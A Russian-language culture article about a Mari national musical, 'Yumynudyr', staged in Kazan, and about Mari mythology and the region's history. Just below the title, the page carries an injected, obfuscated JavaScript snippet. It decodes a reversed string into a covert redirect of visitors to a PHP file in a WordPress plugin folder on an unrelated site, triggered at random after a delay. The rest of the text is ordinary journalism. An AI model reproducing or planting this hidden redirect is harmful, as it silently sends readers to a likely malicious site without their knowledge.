Возвращение марийского мифа на озеро Кабан

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top» border=»0″ width=»616″ height=»480″ />

На прошлой неделе в Казани Марийский национальный театр драмы представил музыкальный спектакль «Юмынудыр» («Дочь Бога»). Публицист и историк Марк Шишкин объясняет, как соседняя республика продвинула национальное своеобразие по правилам маркетинга — и много ли марийского в городе на Волге. «Развитие межрегионального культурного обмена» давно стало бюрократическим клише, которое включают в различные официальные документы. В ходе этого самого обмена регионы обмениваются визитами официальных делегаций, гастролями творческих коллективов, выставками, ценными призами и жестами доброй воли. Но бывают ситуации, когда язык не поворачивается, говорить о сотрудничестве двух регионов канцеляритом. История отношений Татарстана и Марий Эл как раз из этой серии. «Черемисская свадьба» Две республики в Среднем Поволжье обладают общим прошлым, где луговые марийцы были преданными защитниками Казанского ханства, а затем большая часть марийских земель входила в состав Казанской губернии. Это регионы-соседи с огромными сопредельными территориями: от Волжска, до Кировской области. 38-тысячная татарская диаспора проживает в Марий Эл, 18-тысячная марийская диаспора в Татарстане и еще десятки тысяч человек ежедневно пересекают невидимую административную границу, чтобы работать, учиться и отдыхать у соседей. Казань была колыбелью марийской письменной и в целом современной культуры. Именно здесь издавались первые научные труды по марийскому языку и этнографии, первые книги на марийском языке. Здесь жили и работали столпы марийской национальной науки Иван Смирнов и Валериан Васильев. Самый известный казанский художник Николай Фешин вдохновлялся марийским колоритом, и достиг вершин мастерства в «Черемисской свадьбе». И сегодня у культурной и учёной Казани не меньше поводов, чтобы присмотреться к тому, чем живёт ближайший сосед. В современной культурной ситуации, где любое национальное своеобразие может быть упаковано и реализовано как товар по всем правилам маркетинга, марийский народ оказался в довольно выгодной позиции. Хотя практически все марийцы носят христианские имена, а многие являются верующими православными христианами, агностиками или атеистами, у них лучше, чем у других народов Волго-Уральского региона сохранилась древняя языческая культура. В Йошкар-Оле и разных районах Марий Эл действуют официально зарегистрированные общины Марийской традиционной религии, возглавляемые жрецами – картами. Повсюду, где живут марийцы, рядом с их селениями растут священные рощи – кусото, где возле священных деревьев – онапу совершаются моления верховному Богу – Ош Поро Кугу Юмо и пантеону других божеств. С каждым деревом, озером, камнем, мостом могут быть связаны мифы, запреты и ритуалы. Было бы странно, если бы это наследие осталось невостребованным в эпоху, которая давно уже предпочла «Властелин Колец» и «Игру престолов» научной фантастике о далёких Галактиках и изобретениях учёных. Автохтонному народу Среднего Поволжья пока далеко по узнаваемости до автохтонов Европы – кельтов. Тех, кто понимает смысл и эстетику марийской священной рощи в мире много меньше тех, кто разбирается в садово-парковом искусстве Японии. Но, возможно, что это отставание лишь временное явление. Огромный успех у ценителей киноискусства имел фильм «Небесные жены луговых мари», снятый Алексеем Федорченко по сценарию казанского писателя Дениса Осокина. В московском Центре современного искусства «Винзавод» идёт выставка «МАРИ. RESEARCH», посвященная осмыслению марийской культуры как арт-объекта. Среди фанатов всего марийского и представители креативного класса из всех российских столиц, и почвенники, стремящиеся достичь наиболее древних пластов родной истории, и иностранные знатоки марийских глубинок вроде японца Икуро Куваджимы, которого где-нибудь под Мари-Туреком всегда ждут как родного. Еще рано говорить о моде, но образы лесной страны, где мифические существа живут бок о бок с людьми, уже открыли дверь в мировую культуру. Фото Икуро Куваджимы Не далее как на прошлой неделе, состоялось крупнейшее за последние годы марийское культурное событие в Казани. В Камаловском театре артисты Марийского национального театра драмы им. Шкетана представили музыкальный спектакль «Юмынудыр» («Дочь Бога»). Показ первого марийского мюзикла собрал в одном зале представителей марийской диаспоры Татарстана, любителей этнокультуры и театралов. Формально укладываясь в практику «межрегионального культурного обмена», этот музыкальный рассказ о марийской мифологии оказался еще одним звеном в длительной истории татарстанско-марийских отношений. В основе мюзикла «Юмынудыр» лежит миф о дочери верховного небесного Бога – Юмо, которая спустившись на землю, полюбила земного человека и родила от него предка всех марийцев. Как и в «Небесных женах луговых мари» в «Юмынудыр» переплетаются два плана бытия: провинциальная современность, где молодёжь ходит в спортивных костюмах «с лампасами» и коротает свободные часы за употреблением алкоголя, и параллельная сакральная реальность, где в жизнь людей вторгаются боги и духи, а древние ритуалы и проклятия имеют неотвратимую силу. Но причина смешения двух миров здесь не в эстетском желании увидеть скрытую красоту в суровой поселковой повседневности. «Юмынудыр» – это музыкальный манифест национального возрождения и возвращения к потерянным истокам, которое на свой лад проходят все народы бывшего СССР. История о том, как «манкурты» и «Иваны, родства не помнящие» обретают идентичность, освященную веками истории. И если у православных русских метафорой национальной утраты стали поруганные церкви, превращенные в овощехранилища, у мусульман – мечети, лишенные минаретов, то для приверженцев марийской традиционной религии таким символом является священная роща, отданная под вырубку. Именно в такую рощу приходят главные герои мюзикла лесорубы Санек и Митяй, и срубают там священное дерево – онапу. Но деяние, за которое должно последовать непременное проклятие в земной жизни, в спектакле оборачивается иначе. Падающее онапу нарушает границы между мирами и делает лесорубов «попаданцами» в идеализированное прошлое марийского народа. Оказавшись среди предков, Санек и Митяй обретают свои подлинные марийские имена – Салий и Мичий, меняют «спортивку» на традиционную белую одежду с вышитым красным орнаментом, постепенно учатся жить и трудиться, так как это делали марийцы много веков подряд. Впрочем, совершенное кощунство не проходит совершенно бесследно. Приятели оказываются вовлеченными в давний конфликт высших сил. Когда-то младший брат Юмо Керемет, влюблённый в свою племянницу Юмунудыр, из ревности убил её земного возлюбленного. Там, куда упало с небес тело убитого, выросли священные рощи. В этот раз возлюбленным Юмынудыр становится Санек-Салий, а его любовь к дочери Бога, дружба с Митяем и отношения с соплеменниками подвергаются жестоким испытанием от Керемета. Конечно же, в финале под аплодисменты всего зрительного зала на сцене торжествует добро. Но по ходу спектакля у зрителей достаточно поводов, чтобы вместе с героями постановки прочувствовать слова отчаянных молитв Белому Доброму Великому Богу и Великой Матери – Шочын Ава. История разворачивается на фоне неизменного цикла традиционных праздников и сельскохозяйственных работ. Изображение трудов и праздников древних марийцев – это, пожалуй, самая сильная и красочная часть всего представления. На праздник Кугече, совпадающий с православной Пасхой, влюблённые пары танцуют танец с ковшом в память о любви Юмунудыр. Салий и Мичий катаются на качелях, символизирующих те самые качели, на которых дочь Бога спустилась с небес. Весенняя посевная начинается с общинной молитвы на поле, когда все мужчины воздевают руки к небу, прося Юмо о хорошем урожае. Летний праздник Сурем сопровождается ритуальной битвой сил света и тьмы, когда нечистых духов кнутами отгоняют от селений и священных рощ. Дочь Бога, спускаясь с облаков на серебряных нитях, стремится к своему любимому. Небо встречается с землёй, а зрители и артисты оказываются внутри древнего мифа. Незадачливые лесорубы Санёк и Митяй прервали обычный ход времени путём преступления, покусившись на священное древо. Артисты марийского драмтеатра сделали тоже самое, более правильным, безопасным и традиционным способом. Из истории религий известно, что там, где люди воспроизводят действия сверхъестественных существ и предков, бренная и преходящая реальность уступает место вечным архетипам, а обычные земные координаты отменяются до завершения ритуала. Это и произошло, безо всякого преувеличения. Достаточно вспомнить историю места, где казанцам представили «Юмынудыр». Сто лет назад всего в четырехстах метрах от сцены Театра имени Камала, в здании современного Техникума лёгкой промышленности располагалась Казанская учительская семинария, где получили образование многие деятели марийской культуры и основоположники государственности Марий Эл. Именно здесь, глядя на берега озера Нижний Кабан и вспоминая родные места, в 1905 году основоположник марийской литературы Сергей Чавайн написал первое марийское стихотворение «Роща». Есть в нашем крае роща тихая одна, На берегу большого озера она. Деревья там раскидистей раскидистых растут, В густой листве там распевают соловьи, Там к озеру, журча, ручей стремит струи. Там и трава любой травы свежей, Там и цветы любых цветов нежней. Им отдана любовь моя. Того, кто рубит рощу, проклинаю я. Дальше на юг у современного поселка Борисково, что на озере Верхний Кабан, археологи обнаружили могильник древних марийцев X-XI веков нашей эры. А значит, популярные у туристов марийские озёра когда-то начинались уже в черте Казани, и творческая интуиция не обманула марийского классика. Здесь также были священные рощи, где совершались моления Юмо. Во время Кугече исполняли танец любви, сеять начинали после Агавайрема, а на Сурем трубили в трубы и били кнутами. Каждый парень чувствовал себя Салием, а каждая девушка – Юмынудыр. Пока в Камаловском театре шел первый марийский мюзикл, древнейшее прошлое Казани вернулось не берега Кабана на целых два с половиной часа.

Марк Шишкин

Источник: Собака.ru Казань

Поделиться ссылкой: